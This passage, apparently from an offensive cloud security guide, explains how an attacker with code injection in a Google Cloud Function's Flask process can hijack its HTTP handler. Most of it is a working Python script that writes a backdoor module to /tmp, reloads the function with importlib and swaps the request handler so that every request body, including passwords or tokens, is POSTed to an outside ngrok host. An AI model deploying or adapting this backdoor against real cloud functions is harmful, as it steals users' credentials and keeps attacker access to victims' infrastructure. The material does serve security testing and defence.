If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could modify the source code of the function and exfiltrate this information.
Moreover, Cloud Functions running in python use flask to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to override the function handler that is going to receive the HTTP requests for a malicious function that can exfiltrate the request before passing it to the legit handler.
For example this code implements the attack:
import functions_framework# Some python handler code@functions_framework.httpdefhello_http(request,last=False,error=""):"""HTTP Cloud Function. Args: request (flask.Request): The request object. <https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data> Returns: The response text, or any set of values that can be turned into a Response object using `make_response` <https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>. """ifnot last:returninjection()else:if error:return errorelse:return"Hello World!"# Attacker code to inject# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function ="""def exfiltrate(request): try: from urllib import request as urllib_request req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1) except Exception as e: if not "read operation timed out" in str(e): return str(e) return ""def new_http_view_func_wrapper(function, request): def view_func(path): try: error = exfiltrate(request) return function(request._get_current_object(), last=True, error=error) except Exception as e: return str(e) return view_func"""definjection():global new_functiontry:from flask import current_app as appimport flaskimport osimport importlibimport sys if os.access('/tmp', os.W_OK): new_function_path ="/tmp/function.py"withopen(new_function_path, "w")as f: f.write(new_function) os.chmod(new_function_path, 0o777)ifnot os.path.exists('/tmp/function.py'):return"/tmp/function.py doesn't exists"# Get relevant function names handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path)# Get full path# Get the modules representations spec_handler = importlib.util.spec_from_file_location("main_handler", realpath) module_handler = importlib.util.module_from_spec(spec_handler) spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py') module_backdoor = importlib.util.module_from_spec(spec_backdoor)# Load the modules inside the app contextwith app.app_context(): spec_handler.loader.exec_module(module_handler) spec_backdoor.loader.exec_module(module_backdoor)# make the cloud funtion use as handler the new function prev_handler =getattr(module_handler, handler_fname) new_func_wrap =getattr(module_backdoor, 'new_http_view_func_wrapper') app.view_functions["run"]=new_func_wrap(prev_handler, flask.request)return"Injection completed!"exceptExceptionas e:returnstr(e)
